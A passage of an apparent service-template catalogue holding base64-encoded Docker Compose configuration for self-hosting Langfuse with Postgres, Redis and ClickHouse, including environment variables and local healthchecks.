NRTotMC4wLjAuMH0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKc2VydmljZXM6CiAgbGFuZ2Z1c2U6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlOjMnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBjbGlja2hvdXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgMDogJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgMTogJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sYW5nZnVzZS1kYn0nCiAgICAgIDI6ICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgMzogJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIDQ6ICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDU6ICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICA2OiAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIDc6ICdDTElDS0hPVVNFX1VSTD1odHRwOi8vY2xpY2tob3VzZTo4MTIzJwogICAgICA4OiAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICA5OiAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIDEwOiBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAxMTogJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAgICAgMTI6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAxMzogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgMTQ6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMTU6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAxNjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIDE3OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIDE4OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAxOTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDIwOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAyMTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAyMjogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDIzOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMjQ6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMjU6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgMjY6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDI3OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjg6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAyOTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAgICAgMzA6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAzMTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIDMyOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDMzOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMzQ6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMzU6ICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogICAgICAzNjogJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAzNzogUkVESVNfSE9TVD1yZWRpcwogICAgICAzODogUkVESVNfUE9SVD02Mzc5CiAgICAgIDM5OiAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICA0MDogJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA0MTogJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogICAgICA0MjogJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgNDM6ICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIDQ0OiAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgICAgIDQ1OiAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgNDY6ICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgNDc6ICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogICAgICA0ODogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICA0OTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA1MDogJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAgICAgNTE6ICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgICAgU0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcHVibGljL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBsYW5nZnVzZS13b3JrZXI6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlLXdvcmtlcjozJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnU0FMVD0ke1NFUlZJQ0VfUEFTU1dPUkRfU0FMVH0nCiAgICAgIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUz0ke0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM6LWZhbHNlfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAgICAgLSAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogICAgICAtICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIGNsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTctYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtaCBsb2NhbGhvc3QgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gc2gKICAgICAgLSAnLWMnCiAgICAgIC0gJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICIkU0VSVklDRV9QQVNTV09SRF9SRURJUyInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAkU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogM3MKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDEwCiAgY2xpY2tob3VzZToKICAgIGltYWdlOiAnY2xpY2tob3VzZS9jbGlja2hvdXNlLXNlcnZlcjoyNi4yLjQuMjMnCiAgICB1c2VyOiAnMTAxOjEwMScKICAgIGVudmlyb25tZW50OgogICAgICAtICdDTElDS0hPVVNFX0RCPSR7Q0xJQ0tIT1VTRV9EQjotZGVmYXVsdH0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2RhdGE6L3Zhci9saWIvY2xpY2tob3VzZScKICAgICAgLSAnbGFuZ2Z1c2VfY2xpY2tob3VzZV9sb2dzOi92YXIvbG9nL2NsaWNraG91c2Utc2VydmVyJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC0tbm8tdmVyYm9zZSAtLXRyaWVzPTEgLS1zcGlkZXIgaHR0cDovL2xvY2FsaG9zdDo4MTIzL3BpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK", + "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogIC0gJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAtICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogIC0gJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0Z